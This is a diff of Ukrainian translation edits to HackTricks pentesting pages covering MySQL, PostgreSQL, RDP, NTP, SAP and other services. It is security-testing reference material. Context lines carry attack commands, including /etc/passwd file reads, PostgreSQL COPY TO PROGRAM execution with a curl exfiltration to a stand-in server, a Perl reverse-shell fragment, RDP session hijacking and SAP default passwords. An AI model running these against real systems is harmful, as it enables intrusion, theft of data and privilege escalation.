Приховує перевірки криптографічних метаданих на сервері під час операцій масового копіювання. Це дозволяє користувачу масово копіювати дані, зашифровані за допомогою Always Encrypted, між таблицями або базами даних, не розшифровуючи дані. За замовчуванням вимкнено.

| {{#include ../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-mysql.md b/src/network-services-pentesting/pentesting-mysql.md index f3fe6499c..3b5511b5f 100644 --- a/src/network-services-pentesting/pentesting-mysql.md +++ b/src/network-services-pentesting/pentesting-mysql.md @@ -111,7 +111,7 @@ SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCT ## MySQL довільне читання файлів клієнтом -Насправді, коли ви намагаєтеся **завантажити дані локально в таблицю** **вміст файлу**, сервер MySQL або MariaDB запитує **клієнта, щоб прочитати його** і надіслати вміст. **Тоді, якщо ви можете підробити mysql клієнт, щоб підключитися до свого власного MySQL сервера, ви можете читати довільні файли.**\ +Насправді, коли ви намагаєтеся **завантажити дані локально в таблицю** **вміст файлу**, сервер MySQL або MariaDB запитує **клієнта, щоб прочитати його** і надіслати вміст. **Тоді, якщо ви можете підробити mysql клієнт для підключення до вашого власного MySQL сервера, ви можете читати довільні файли.**\ Зверніть увагу, що це поведінка при використанні: ```bash load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n'; @@ -171,7 +171,7 @@ grant SELECT,CREATE,DROP,UPDATE,DELETE,INSERT on *.* to mysql identified by 'mys ``` ### Підвищення привілеїв через бібліотеку -Якщо **mysql сервер працює від імені root** (або іншого більш привілейованого користувача), ви можете змусити його виконувати команди. Для цього вам потрібно використовувати **функції, визначені користувачем**. А щоб створити функцію, визначену користувачем, вам знадобиться **бібліотека** для ОС, на якій працює mysql. +Якщо **mysql сервер працює як root** (або інший більш привілейований користувач), ви можете змусити його виконувати команди. Для цього вам потрібно використовувати **функції, визначені користувачем**. А щоб створити функцію, визначену користувачем, вам знадобиться **бібліотека** для ОС, на якій працює mysql. Зловмисну бібліотеку можна знайти всередині sqlmap і metasploit, виконавши **`locate "*lib_mysqludf_sys*"`**. Файли **`.so`** є **linux** бібліотеками, а **`.dll`** - це **Windows** бібліотеки, виберіть ту, яка вам потрібна. @@ -230,7 +230,7 @@ grep -oaE "[-_\.\*a-Z0-9]{3,}" /var/lib/mysql/mysql/user.MYD | grep -v "mysql_na ``` ### Увімкнення журналювання -Ви можете увімкнути журналювання запитів mysql, відкоментувавши наступні рядки у файлі `/etc/mysql/my.cnf`: +Ви можете увімкнути журналювання запитів mysql, відкоментувавши наступні рядки у `/etc/mysql/my.cnf`: ![](<../images/image (899).png>) diff --git a/src/network-services-pentesting/pentesting-ntp.md b/src/network-services-pentesting/pentesting-ntp.md index d77a78ab3..6a3ef4e2e 100644 --- a/src/network-services-pentesting/pentesting-ntp.md +++ b/src/network-services-pentesting/pentesting-ntp.md @@ -8,11 +8,11 @@ ### Резюме та поради з безпеки: -- **Мета**: Синхронізація годинників пристроїв через мережі. +- **Мета**: Синхронізує годинники пристроїв через мережі. - **Важливість**: Критично важливо для безпеки, ведення журналів та операцій. - **Заходи безпеки**: - Використовуйте надійні джерела NTP з автентифікацією. -- Обмежте доступ до мережі NTP-сервера. +- Обмежте доступ до NTP-сервера в мережі. - Моніторте синхронізацію на наявність ознак підробки. **Порт за замовчуванням:** 123/udp @@ -40,9 +40,9 @@ nmap -sU -sV --script "ntp* and (discovery or vuln) and not (dos or brute)" -p 1 ## Атака посилення NTP -[**Як працює атака DDoS NTP**](https://resources.infosecinstitute.com/network-time-protocol-ntp-threats-countermeasures/#gref) +[**Як працює атака DDoS на NTP**](https://resources.infosecinstitute.com/network-time-protocol-ntp-threats-countermeasures/#gref) -Протокол **NTP**, що використовує UDP, дозволяє працювати без необхідності в процедурах рукопожаття, на відміну від TCP. Ця характеристика використовується в **атаках посилення DDoS NTP**. Тут зловмисники створюють пакети з підробленою IP-адресою джерела, що створює враження, ніби запити атаки надходять від жертви. Ці пакети, спочатку невеликі, змушують NTP-сервер відповідати набагато більшими обсягами даних, посилюючи атаку. +**Протокол NTP**, що використовує UDP, дозволяє працювати без необхідності в процедурах рукопожаття, на відміну від TCP. Ця характеристика використовується в **атаках посилення DDoS NTP**. Тут зловмисники створюють пакети з підробленою IP-адресою джерела, що створює враження, що запити атаки надходять від жертви. Ці пакети, спочатку невеликі, змушують NTP-сервер відповідати набагато більшими обсягами даних, посилюючи атаку. Команда _**MONLIST**_, незважаючи на рідкісне використання, може повідомити про останні 600 клієнтів, підключених до служби NTP. Хоча сама команда є простою, її зловживання в таких атаках підкреслює критичні вразливості безпеки. ```bash diff --git a/src/network-services-pentesting/pentesting-pop.md b/src/network-services-pentesting/pentesting-pop.md index ef5e5d574..6f89d05c7 100644 --- a/src/network-services-pentesting/pentesting-pop.md +++ b/src/network-services-pentesting/pentesting-pop.md @@ -4,7 +4,7 @@ ## Основна інформація -**Post Office Protocol (POP)** описується як протокол у сфері комп'ютерних мереж і Інтернету, який використовується для витягування та **отримання електронної пошти з віддаленого поштового сервера**, що робить її доступною на локальному пристрої. Розташований у прикладному шарі моделі OSI, цей протокол дозволяє користувачам отримувати та отримувати електронну пошту. Робота **POP-клієнтів** зазвичай передбачає встановлення з'єднання з поштовим сервером, завантаження всіх повідомлень, зберігання цих повідомлень локально на клієнтській системі та подальше видалення їх з сервера. Хоча існує три версії цього протоколу, **POP3** виділяється як найпоширеніша версія. +**Post Office Protocol (POP)** описується як протокол у сфері комп'ютерних мереж і Інтернету, який використовується для витягування та **отримання електронної пошти з віддаленого поштового сервера**, що робить її доступною на локальному пристрої. Розташований у прикладному шарі моделі OSI, цей протокол дозволяє користувачам отримувати та отримувати електронну пошту. Робота **POP клієнтів** зазвичай передбачає встановлення з'єднання з поштовим сервером, завантаження всіх повідомлень, зберігання цих повідомлень локально на клієнтській системі та подальше їх видалення з сервера. Хоча існує три версії цього протоколу, **POP3** виділяється як найпоширеніша версія. **Порт за замовчуванням:** 110, 995(ssl) ``` @@ -75,7 +75,7 @@ password: PA$$W0RD!Z POP сервери з увімкненим налаштуванням **`auth_debug`** будуть генерувати більше логів. Однак, якщо **`auth_debug_passwords`** або **`auth_verbose_passwords`** встановлені як **`true`**, паролі також можуть бути зафіксовані у відкритому тексті в цих логах. -## Автоматичні команди HackTricks +## HackTricks Автоматичні команди ``` Protocol_Name: POP #Protocol Abbreviation if there is one. Port_Number: 110 #Comma separated if there is more than one. diff --git a/src/network-services-pentesting/pentesting-postgresql.md b/src/network-services-pentesting/pentesting-postgresql.md index e24fac1ab..bd8a5fba0 100644 --- a/src/network-services-pentesting/pentesting-postgresql.md +++ b/src/network-services-pentesting/pentesting-postgresql.md @@ -5,7 +5,7 @@ ## **Основна інформація** -**PostgreSQL** описується як **об'єктно-реляційна система управління базами даних**, яка є **відкритим програмним забезпеченням**. Ця система не тільки використовує мову SQL, але й покращує її додатковими функціями. Її можливості дозволяють обробляти широкий спектр типів даних і операцій, що робить її універсальним вибором для розробників і організацій. +**PostgreSQL** описується як **об'єктно-реляційна система управління базами даних**, яка є **відкритим програмним забезпеченням**. Ця система не лише використовує мову SQL, але й покращує її додатковими функціями. Її можливості дозволяють обробляти широкий спектр типів даних і операцій, що робить її універсальним вибором для розробників і організацій. **Порт за замовчуванням:** 5432, і якщо цей порт вже використовується, здається, що postgresql використовуватиме наступний порт (ймовірно, 5433), який не використовується. ``` @@ -53,7 +53,7 @@ SELECT * FROM pg_extension; \s ``` > [!WARNING] -> Якщо при виконанні **`\list`** ви знайдете базу даних під назвою **`rdsadmin`**, ви знаєте, що ви знаходитесь всередині **AWS postgresql database**. +> Якщо при виконанні **`\list`** ви знайдете базу даних під назвою **`rdsadmin`**, ви знаєте, що ви всередині **AWS postgresql database**. Для отримання додаткової інформації про **те, як зловживати базою даних PostgreSQL**, перевірте: @@ -70,7 +70,7 @@ msf> use auxiliary/scanner/postgres/postgres_dbname_flag_injection ### **Сканування портів** -Згідно з [**цією дослідженням**](https://www.exploit-db.com/papers/13084), коли спроба підключення не вдається, `dblink` викидає виключення `sqlclient_unable_to_establish_sqlconnection`, яке містить пояснення помилки. Приклади цих деталей наведені нижче. +Згідно з [**цим дослідженням**](https://www.exploit-db.com/papers/13084), коли спроба підключення не вдається, `dblink` викидає виключення `sqlclient_unable_to_establish_sqlconnection`, яке містить пояснення помилки. Приклади цих деталей наведені нижче. ```sql SELECT * FROM dblink_connect('host=1.2.3.4 port=5678 @@ -212,7 +212,7 @@ SELECT * FROM pg_proc; ### Читання каталогів і файлів -З цього [**коміту**](https://github.com/postgres/postgres/commit/0fdc8495bff02684142a44ab3bc5b18a8ca1863a) члени визначеної **`DEFAULT_ROLE_READ_SERVER_FILES`** групи (названої **`pg_read_server_files`**) та **суперкористувачі** можуть використовувати метод **`COPY`** на будь-якому шляху (перевірте `convert_and_check_filename` у `genfile.c`): +З цього [**коміту**](https://github.com/postgres/postgres/commit/0fdc8495bff02684142a44ab3bc5b18a8ca1863a) члени визначеної **`DEFAULT_ROLE_READ_SERVER_FILES`** групи (яка називається **`pg_read_server_files`**) та **суперкористувачі** можуть використовувати метод **`COPY`** на будь-якому шляху (перевірте `convert_and_check_filename` у `genfile.c`): ```sql # Read file CREATE TABLE demo(t text); @@ -280,6 +280,8 @@ copy (select convert_from(decode('','base64'),'utf-8')) to '/ju ../pentesting-web/sql-injection/postgresql-injection/big-binary-files-upload-postgresql.md {{#endref}} + + ### Оновлення даних таблиці PostgreSQL через запис локального файлу Якщо у вас є необхідні права для читання та запису файлів сервера PostgreSQL, ви можете оновити будь-яку таблицю на сервері, **перезаписавши відповідний вузол файлу** в [каталозі даних PostgreSQL](https://www.postgresql.org/docs/8.1/storage.html). **Більше про цю техніку** [**тут**](https://adeadfed.com/posts/updating-postgresql-data-without-update/#updating-custom-table-users). @@ -336,7 +338,7 @@ WHERE pg_class.relname = '{TABLE_NAME}'; python3 postgresql_filenode_editor.py -f {FILENODE} --datatype-csv {DATATYPE_CSV_FROM_STEP_4} -m update -p 0 -i ITEM_ID --csv-data {CSV_DATA} ``` -![PostgreSQL Filenode Editor Demo](https://raw.githubusercontent.com/adeadfed/postgresql-filenode-editor/main/demo/demo_datatype.gif) +![Демонстрація PostgreSQL Filenode Editor](https://raw.githubusercontent.com/adeadfed/postgresql-filenode-editor/main/demo/demo_datatype.gif) 6. Повторно завантажте відредагований вузол файлу через функції `lo_*` і перезапишіть оригінальний файл на диску @@ -357,13 +359,13 @@ SELECT lo_from_bytea(133337, (SELECT REPEAT('a', 128*1024*1024))::bytea) ## RCE -### **RCE до програми** +### **RCE для програми** -Оскільки [версія 9.3](https://www.postgresql.org/docs/9.3/release-9-3.html), тільки **суперкористувачі** та члени групи **`pg_execute_server_program`** можуть використовувати copy для RCE (приклад з ексфільтрацією: +Оскільки [версія 9.3](https://www.postgresql.org/docs/9.3/release-9-3.html), лише **суперкористувачі** та члени групи **`pg_execute_server_program`** можуть використовувати copy для RCE (приклад з ексфільтрацією: ```sql '; copy (SELECT '') to program 'curl http://YOUR-SERVER?f=`ls -l|base64`'-- - ``` -Приклад для exec: +Приклад для виконання: ```bash #PoC DROP TABLE IF EXISTS cmd_exec; @@ -407,7 +409,7 @@ COPY files FROM PROGRAM 'perl -MIO -e ''$p=fork;exit,if($p);$c=new IO::Socket::I > [!NOTE] > Наступні вектори RCE особливо корисні в обмежених контекстах SQLi, оскільки всі кроки можуть бути виконані через вкладені оператори SELECT -**Конфігураційний файл** PostgreSQL є **записуваним** користувачем **postgres**, який запускає базу даних, тому як **суперкористувач**, ви можете записувати файли в файловій системі, а отже, ви можете **перезаписати цей файл.** +**Конфігураційний файл** PostgreSQL є **записуваним** користувачем **postgres**, який запускає базу даних, тому як **суперкористувач**, ви можете записувати файли в файловій системі, і, отже, ви можете **перезаписати цей файл.** ![](<../images/image (322).png>) @@ -419,7 +421,7 @@ COPY files FROM PROGRAM 'perl -MIO -e ''$p=fork;exit,if($p);$c=new IO::Socket::I - `ssl_key_file = '/etc/ssl/private/ssl-cert-snakeoil.key'` Шлях до приватного ключа бази даних - `ssl_passphrase_command = ''` Якщо приватний файл захищений паролем (шифрований), postgresql **виконає команду, вказану в цьому атрибуті**. -- `ssl_passphrase_command_supports_reload = off` **Якщо** цей атрибут **включений**, **команда**, що виконується, якщо ключ захищений паролем, **буде виконана**, коли `pg_reload_conf()` буде **виконано**. +- `ssl_passphrase_command_supports_reload = off` **Якщо** цей атрибут **включений**, **команда**, що виконується, якщо ключ захищений паролем, **буде виконана** під час виконання `pg_reload_conf()`. Отже, зловмиснику потрібно: @@ -441,7 +443,7 @@ COPY files FROM PROGRAM 'perl -MIO -e ''$p=fork;exit,if($p);$c=new IO::Socket::I Ще один атрибут у конфігураційному файлі, який можна експлуатувати, це `archive_command`. -Для цього `archive_mode` має бути `'on'` або `'always'`. Якщо це правда, тоді ми можемо перезаписати команду в `archive_command` і змусити її виконатися через операції WAL (журнал попереднього запису). +Для цього `archive_mode` має бути `'on'` або `'always'`. Якщо це правда, то ми можемо перезаписати команду в `archive_command` і змусити її виконатися через операції WAL (журнал попереднього запису). Загальні кроки: @@ -545,7 +547,7 @@ ALTER USER user_name WITH PASSWORD 'new_password'; ``` #### Privesc до SUPERUSER -Досить поширено, що **локальні користувачі можуть входити в PostgreSQL без надання будь-якого пароля**. Тому, як тільки ви отримали **дозволи на виконання коду**, ви можете зловживати цими дозволами, щоб надати собі роль **`SUPERUSER`**: +Досить часто можна виявити, що **локальні користувачі можуть входити в PostgreSQL без надання будь-якого пароля**. Тому, як тільки ви отримали **дозволи на виконання коду**, ви можете зловживати цими дозволами, щоб надати собі **роль `SUPERUSER`**: ```sql COPY (select '') to PROGRAM 'psql -U -c "ALTER USER WITH SUPERUSER;"'; ``` @@ -569,7 +571,7 @@ COPY (select '') to PROGRAM 'psql -U -c "ALTER USER
-Поєднуючи цю ідею з тим фактом, що коли команди **INSERT/UPDATE/**[**ANALYZE**](https://www.postgresql.org/docs/13/sql-analyze.html) виконуються на **таблиці з функцією індексу**, **функція** викликається як частина команди з **дозволами** **власника** **таблиці**. Можливо створити індекс з функцією та надати дозволи власника **суперкористувачу** над цією таблицею, а потім виконати ANALYZE над таблицею з шкідливою функцією, яка зможе виконувати команди, оскільки використовує привілеї власника. +Поєднуючи цю ідею з тим фактом, що коли команди **INSERT/UPDATE/**[**ANALYZE**](https://www.postgresql.org/docs/13/sql-analyze.html) виконуються на **таблиці з функцією індексу**, **функція** **викликається** як частина команди з **дозволами** **власника таблиці**. Можливо створити індекс з функцією і надати дозволи власника **суперкористувачу** над цією таблицею, а потім виконати ANALYZE над таблицею з шкідливою функцією, яка зможе виконувати команди, оскільки використовує привілеї власника. ```c GetUserIdAndSecContext(&save_userid, &save_sec_context); SetUserIdAndSecContext(onerel->rd_rel->relowner, @@ -623,7 +625,7 @@ dbname=somedb', RETURNS (result TEXT); ``` > [!WARNING] -> Зверніть увагу, що для роботи попереднього запиту **функція `dblink` повинна існувати**. Якщо її немає, ви можете спробувати створити її за допомогою +> Зверніть увагу, що для того, щоб попередній запит працював, **функція `dblink` повинна існувати**. Якщо її немає, ви можете спробувати створити її за допомогою > > ```sql > CREATE EXTENSION dblink; @@ -664,7 +666,7 @@ PERFORM dblink_disconnect(); … -Як [**пояснено в документації**](https://www.postgresql.org/docs/current/sql-createfunction.html), функція з **SECURITY DEFINER виконується** з привілеями **користувача, який її володіє**. Тому, якщо функція **вразлива до SQL-ін'єкцій** або виконує деякі **привілейовані дії з параметрами, контрольованими зловмисником**, її можна зловживати для **ескалації привілеїв всередині postgres**. +Як [**пояснено в документації**](https://www.postgresql.org/docs/current/sql-createfunction.html), функція з **SECURITY DEFINER виконується** з привілеями **користувача, який її володіє**. Тому, якщо функція **вразлива до SQL-ін'єкцій** або виконує деякі **привілейовані дії з параметрами, контрольованими атакуючим**, її можна зловживати для **ескалації привілеїв всередині postgres**. У рядку 4 попереднього коду ви можете побачити, що функція має прапор **SECURITY DEFINER**. ```sql @@ -676,7 +678,7 @@ WITH (create_slot = false); INSERT INTO public.test3(data) VALUES(current_user);
-### Брутфорс паролів за допомогою PL/pgSQL +### Брутфорс паролів з PL/pgSQL **PL/pgSQL** - це **повнофункціональна мова програмування**, яка пропонує більший процедурний контроль у порівнянні з SQL. Вона дозволяє використовувати **цикли** та інші **структури управління** для покращення логіки програми. Крім того, **SQL-інструкції** та **тригери** мають можливість викликати функції, створені за допомогою **мови PL/pgSQL**. Ця інтеграція дозволяє більш комплексний і універсальний підхід до програмування бази даних та автоматизації.\ **Ви можете зловживати цією мовою, щоб попросити PostgreSQL брутфорсити облікові дані користувачів.** @@ -685,7 +687,7 @@ WITH (create_slot = false); INSERT INTO public.test3(data) VALUES(current_user); ../pentesting-web/sql-injection/postgresql-injection/pl-pgsql-password-bruteforce.md {{#endref}} -### Привілеї за допомогою перезапису внутрішніх таблиць PostgreSQL +### Привілеї через перезапис внутрішніх таблиць PostgreSQL > [!NOTE] > Наступний вектор підвищення привілеїв особливо корисний у обмежених контекстах SQLi, оскільки всі кроки можна виконати через вкладені оператори SELECT @@ -700,7 +702,7 @@ WITH (create_slot = false); INSERT INTO public.test3(data) VALUES(current_user); 2. Отримати відносний шлях до файлового вузла, пов'язаного з таблицею `pg_authid` 3. Завантажити файловий вузол через функції `lo_*` 4. Отримати тип даних, пов'язаний з таблицею `pg_authid` -5. Використати [PostgreSQL Filenode Editor](https://github.com/adeadfed/postgresql-filenode-editor) для [редагування файлового вузла](https://adeadfed.com/posts/updating-postgresql-data-without-update/#privesc-updating-pg_authid-table); встановити всі булеві прапорці `rol*` на 1 для повних прав. +5. Використати [PostgreSQL Filenode Editor](https://github.com/adeadfed/postgresql-filenode-editor) для [редагування файлового вузла](https://adeadfed.com/posts/updating-postgresql-data-without-update/#privesc-updating-pg_authid-table); встановити всі булеві прапори `rol*` на 1 для повних прав. 6. Повторно завантажити відредагований файловий вузол через функції `lo_*` і перезаписати оригінальний файл на диску 7. _(За бажанням)_ Очистити кеш таблиці в пам'яті, запустивши витратний SQL-запит 8. Тепер ви повинні мати привілеї повного супер адміністратора. @@ -715,7 +717,7 @@ msf> use exploit/windows/postgres/postgres_payload ``` ### logging -Всередині файлу _**postgresql.conf**_ ви можете увімкнути журнали postgresql, змінивши: +У файлі _**postgresql.conf**_ ви можете увімкнути журнали postgresql, змінивши: ```bash log_statement = 'all' log_filename = 'postgresql-%Y-%m-%d_%H%M%S.log' diff --git a/src/network-services-pentesting/pentesting-rdp.md b/src/network-services-pentesting/pentesting-rdp.md index 1255fd9ca..5d2ddab58 100644 --- a/src/network-services-pentesting/pentesting-rdp.md +++ b/src/network-services-pentesting/pentesting-rdp.md @@ -50,7 +50,7 @@ rdp_check /:@ ### Вкрадення сесій -З **права SYSTEM** ви можете отримати доступ до будь-якої **відкритої RDP-сесії будь-якого користувача** без необхідності знати пароль власника. +З **права SYSTEM** ви можете отримати доступ до будь-якої **відкритої RDP сесії будь-якого користувача** без необхідності знати пароль власника. **Отримати відкриті сесії:** ``` @@ -60,7 +60,7 @@ query user ```bash tscon /dest: ``` -Тепер ви будете всередині вибраної сесії RDP і зможете видавати себе за користувача, використовуючи лише інструменти та функції Windows. +Тепер ви будете всередині вибраної сесії RDP і вам потрібно буде видати себе за користувача, використовуючи лише інструменти та функції Windows. **Важливо**: Коли ви отримуєте доступ до активних сесій RDP, ви виведете користувача, який її використовував. @@ -77,11 +77,11 @@ ts::remote /id:2 #Connect to the session Поєднуючи цю техніку з **stickykeys** або **utilman**, ви зможете отримати доступ до адміністративного CMD та будь-якої RDP-сесії в будь-який час. -Ви можете шукати RDP, які вже були зламані за допомогою однієї з цих технік: [https://github.com/linuz/Sticky-Keys-Slayer](https://github.com/linuz/Sticky-Keys-Slayer) +Ви можете шукати RDP, які були зламані за допомогою однієї з цих технік, за адресою: [https://github.com/linuz/Sticky-Keys-Slayer](https://github.com/linuz/Sticky-Keys-Slayer) ### RDP Process Injection -Якщо хтось з іншого домену або з **кращими привілеями входить через RDP** на ПК, де **ви є адміністратором**, ви можете **впровадити** свій маяк у його **процес RDP-сесії** і діяти як він: +Якщо хтось з іншого домену або з **кращими привілеями увійде через RDP** на ПК, де **ви є адміністратором**, ви можете **впровадити** свій маяк у його **процес RDP-сесії** і діяти як він: {{#ref}} ../windows-hardening/active-directory-methodology/rdp-sessions-abuse.md diff --git a/src/network-services-pentesting/pentesting-remote-gdbserver.md b/src/network-services-pentesting/pentesting-remote-gdbserver.md index 9ca0536ff..e9840e0c3 100644 --- a/src/network-services-pentesting/pentesting-remote-gdbserver.md +++ b/src/network-services-pentesting/pentesting-remote-gdbserver.md @@ -2,10 +2,9 @@ {{#include ../banners/hacktricks-training.md}} - ## **Основна інформація** -**gdbserver** - це інструмент, який дозволяє віддалено налагоджувати програми. Він працює поряд з програмою, яку потрібно налагоджувати, на тій же системі, відомій як "ціль". Ця конфігурація дозволяє **GNU Debugger** підключатися з іншої машини, "хоста", де зберігаються вихідний код і бінарна копія налагоджуваної програми. З'єднання між **gdbserver** і налагоджувачем може бути встановлено через TCP або послідовний порт, що дозволяє створювати універсальні налаштування налагодження. +**gdbserver** - це інструмент, який дозволяє віддалено налагоджувати програми. Він працює поряд з програмою, яку потрібно налагоджувати, на тій же системі, відомій як "ціль". Ця конфігурація дозволяє **GNU Debugger** підключатися з іншої машини, "хоста", де зберігаються вихідний код і бінарна копія налагоджуваної програми. З'єднання між **gdbserver** і налагоджувачем може бути встановлено через TCP або послідовний канал, що дозволяє створювати різноманітні налаштування налагодження. Ви можете зробити так, щоб **gdbserver слухав на будь-якому порту**, і на даний момент **nmap не здатний розпізнати сервіс**. diff --git a/src/network-services-pentesting/pentesting-rlogin.md b/src/network-services-pentesting/pentesting-rlogin.md index 60e3ec4ec..e39b93ec1 100644 --- a/src/network-services-pentesting/pentesting-rlogin.md +++ b/src/network-services-pentesting/pentesting-rlogin.md @@ -5,7 +5,7 @@ ## Основна інформація -В минулому **rlogin** широко використовувався для завдань віддаленого адміністрування. Однак, через занепокоєння щодо його безпеки, він в основному був замінений на **slogin** та **ssh**. Ці нові методи забезпечують підвищену безпеку для віддалених з'єднань. +У минулому **rlogin** широко використовувався для завдань віддаленого адміністрування. Однак, через занепокоєння щодо його безпеки, він в основному був замінений на **slogin** та **ssh**. Ці нові методи забезпечують підвищену безпеку для віддалених з'єднань. **Порт за замовчуванням:** 513 ``` diff --git a/src/network-services-pentesting/pentesting-rpcbind.md b/src/network-services-pentesting/pentesting-rpcbind.md index 2e77b22ba..08a159aeb 100644 --- a/src/network-services-pentesting/pentesting-rpcbind.md +++ b/src/network-services-pentesting/pentesting-rpcbind.md @@ -4,7 +4,7 @@ ## Основна інформація -**Portmapper** - це сервіс, який використовується для відображення портів мережевих сервісів на номери програм **RPC** (Remote Procedure Call). Він є критично важливим компонентом у **Unix-подібних системах**, полегшуючи обмін інформацією між цими системами. **Порт**, пов'язаний з **Portmapper**, часто сканується зловмисниками, оскільки може розкрити цінну інформацію. Ця інформація включає тип **Unix операційної системи (OS)**, що працює, та деталі про сервіси, доступні в системі. Крім того, **Portmapper** зазвичай використовується разом з **NFS (Network File System)**, **NIS (Network Information Service)** та іншими **RPC-орієнтованими сервісами** для ефективного управління мережевими сервісами. +**Portmapper** - це служба, яка використовується для відображення портів мережевих служб на номери програм **RPC** (Віддалений виклик процедур). Вона є критично важливим компонентом в **Unix-подібних системах**, що полегшує обмін інформацією між цими системами. **Порт**, пов'язаний з **Portmapper**, часто сканується зловмисниками, оскільки може розкрити цінну інформацію. Ця інформація включає тип **Unix операційної системи (OS)**, що працює, та деталі про служби, доступні на системі. Крім того, **Portmapper** зазвичай використовується разом з **NFS (Мережева файлова система)**, **NIS (Служба мережевої інформації)** та іншими **RPC-орієнтованими службами** для ефективного управління мережевими службами. **Порт за замовчуванням:** 111/TCP/UDP, 32771 в Oracle Solaris ``` @@ -38,7 +38,7 @@ nmap -sSUC -p111 192.168.10.1 ![](<../images/image (859).png>) -Подорож дослідження починається з установки необхідних пакетів (`apt-get install nis`). Наступний крок вимагає використання `ypwhich`, щоб підтвердити наявність NIS сервера, пінгуючи його з іменем домену та IP-адресою сервера, забезпечуючи анонімність цих елементів для безпеки. +Подорож дослідження починається з установки необхідних пакетів (`apt-get install nis`). Наступний крок вимагає використання `ypwhich`, щоб підтвердити наявність NIS сервера, пінгуючи його з іменем домену та IP адресою сервера, забезпечуючи анонімність цих елементів для безпеки. Останній і вирішальний крок включає команду `ypcat` для витягування чутливих даних, зокрема зашифрованих паролів користувачів. Ці хеші, після зламу за допомогою інструментів, таких як **John the Ripper**, відкривають інформацію про доступ до системи та привілеї. ```bash diff --git a/src/network-services-pentesting/pentesting-sap.md b/src/network-services-pentesting/pentesting-sap.md index 213123948..267d1ffba 100644 --- a/src/network-services-pentesting/pentesting-sap.md +++ b/src/network-services-pentesting/pentesting-sap.md @@ -13,7 +13,7 @@ SAP означає Системи Застосувань та Продуктів Ви будете здивовані, якщо дізнаєтеся, як часто ці **паролі не змінюються в тестових або dev середовищах**! Спробуйте отримати доступ до оболонки будь-якого сервера, використовуючи ім'я користувача <SID>adm. -Брутфорс може допомогти, однак може бути механізм блокування облікового запису. +Брутфорс може допомогти, однак там може бути механізм блокування облікового запису. # Виявлення @@ -115,7 +115,7 @@ SAP*:Down1oad:000,001 DEVELOPER:Down1oad:001 BWDEVELOPER:Down1oad:001 ``` -- Запустіть Wireshark, а потім автентифікуйтеся на клієнті \(SAP GUI\) за допомогою отриманих облікових даних, оскільки деякі клієнти передають облікові дані без SSL. Є два відомі плагіни для Wireshark, які також можуть розбирати основні заголовки, що використовуються протоколом SAP DIAG: плагін SecureAuth Labs SAP dissection та плагін SAP DIAG від Positive Research Center. +- Запустіть Wireshark, а потім автентифікуйтеся на клієнті \(SAP GUI\) за допомогою отриманих облікових даних, оскільки деякі клієнти передають облікові дані без SSL. Є два відомі плагіни для Wireshark, які також можуть розбирати основні заголовки, що використовуються протоколом SAP DIAG: плагін розбору SAP від SecureAuth Labs та плагін SAP DIAG від Positive Research Center. - Перевірте наявність ескалацій привілеїв, наприклад, використовуючи деякі коди транзакцій SAP \(tcodes\) для користувачів з низькими привілеями: - SU01 - Для створення та підтримки користувачів - SU01D - Для відображення користувачів @@ -137,11 +137,11 @@ BWDEVELOPER:Down1oad:001 - Ознайомтеся з [“Методологією мисливців за помилками”](https://github.com/jhaddix/tbhm) Джейсона Хаддіка для тестування веб-уразливостей. - Обхід автентифікації через підробку запитів? Можливо :\) - Відкрийте `http://SAP:50000/webdynpro/resources/sap.com/XXX/JWFTestAddAssignees#`, потім натисніть кнопку “Вибрати”, а потім у відкритому вікні натисніть “Пошук”. Ви повинні побачити список користувачів SAP \(Посилання на уразливість: [ERPSCAN-16-010](https://erpscan.com/advisories/erpscan-16-010-sap-netweaver-7-4-information-disclosure/)\) -- Чи передаються облікові дані через HTTP? Якщо так, то це вважається P3 відповідно до [Таксономії оцінки уразливостей Bugcrowd](https://bugcrowd.com/vulnerability-rating-taxonomy): Порушена автентифікація та управління сесіями \| Слабка функція входу через HTTP. Підказка: також перевірте [http://SAP:50000/startPage](http://sap:50000/startPage) або портали входу :\) +- Чи передаються облікові дані через HTTP? Якщо так, то це вважається P3 відповідно до [Таксономії оцінки уразливостей](https://bugcrowd.com/vulnerability-rating-taxonomy) Bugcrowd: Порушена автентифікація та управління сесіями \| Слабка функція входу через HTTP. Підказка: також перевірте [http://SAP:50000/startPage](http://sap:50000/startPage) або портали входу :\) ![SAP Start Page](https://raw.githubusercontent.com/shipcod3/mySapAdventures/master/screengrabs/startPage.jpeg) -- Спробуйте `/irj/go/km/navigation/` для можливого переліку директорій або обходу автентифікації +- Спробуйте `/irj/go/km/navigation/` для можливого переліку каталогів або обходу автентифікації - [http://SAP/sap/public/info](http://sap/sap/public/info) містить деяку цікаву інформацію: ```xml @@ -179,7 +179,7 @@ BWDEVELOPER:Down1oad:001 Ви можете перевірити значення параметрів як вручну, так і автоматично, використовуючи скрипти (наприклад, [SAP Parameter Validator](https://github.com/damianStrojek/SAPPV)). -## Вручну перевірка параметрів +## Ручна перевірка параметрів Перейшовши до коду транзакції `RSPFPAR`, ви можете запитати різні параметри та дізнатися їх значення. @@ -200,12 +200,12 @@ BWDEVELOPER:Down1oad:001 | `icm/server_port_2` | `Display` | Вказує порт сервера для ICM (порт 2). | | `login/password_compliance_to_current_policy` | `0` | Зобов'язує дотримуватися політики паролів. | | `login/no_automatic_user_sapstar` | `0` | Вимикає автоматичне призначення користувача SAPSTAR. | -| `login/min_password_specials` | `0` | Мінімальна кількість спеціальних символів, необхідних у паролях. | -| `login/min_password_lng` | `<8` | Мінімальна довжина, необхідна для паролів. | -| `login/min_password_lowercase` | `0` | Мінімальна кількість малих літер, необхідних у паролях. | -| `login/min_password_uppercase` | `0` | Мінімальна кількість великих літер, необхідних у паролях. | -| `login/min_password_digits` | `0` | Мінімальна кількість цифр, необхідних у паролях. | -| `login/min_password_letters` | `1` | Мінімальна кількість літер, необхідних у паролях. | +| `login/min_password_specials` | `0` | Мінімальна кількість спеціальних символів, що вимагаються в паролях. | +| `login/min_password_lng` | `<8` | Мінімальна довжина, що вимагається для паролів. | +| `login/min_password_lowercase` | `0` | Мінімальна кількість малих літер, що вимагаються в паролях. | +| `login/min_password_uppercase` | `0` | Мінімальна кількість великих літер, що вимагаються в паролях. | +| `login/min_password_digits` | `0` | Мінімальна кількість цифр, що вимагаються в паролях. | +| `login/min_password_letters` | `1` | Мінімальна кількість літер, що вимагаються в паролях. | | `login/fails_to_user_lock` | `<5` | Кількість невдалих спроб входу перед блокуванням облікового запису користувача. | | `login/password_expiration_time` | `>90` | Час закінчення терміну дії пароля в днях. | | 